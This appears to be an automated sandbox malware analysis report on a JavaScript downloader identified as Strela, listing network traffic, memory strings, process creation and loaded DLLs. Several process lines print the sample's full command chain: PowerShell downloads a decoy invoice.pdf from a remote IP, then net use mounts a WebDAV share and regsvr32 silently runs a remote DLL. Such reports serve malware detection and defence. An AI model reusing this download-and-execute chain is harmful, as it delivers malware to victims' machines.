b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: global traffic

TCP traffic: 192.168.2.7:49701 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49700 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1257922110.00000215252ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice
Source: wscript.exe, 00000000.00000002.1257922110.0000021525305000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1318216071.000002A7FF23B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1318216071.000002A7FF1E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1318216071.000002A7FF21C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1318216071.000002A7FF21C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/03db
Source: svchost.exe, 0000000F.00000002.2546876573.00000203A5CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1317172218.00000203AB400000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5860, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1468330663299317031.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5428:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a0kgklgx.fuf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1468330663299317031.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2168 --field-trial-handle=1656,i,6352309101716674545,11052300597964623030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2168 --field-trial-handle=1656,i,6352309101716674545,11052300597964623030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
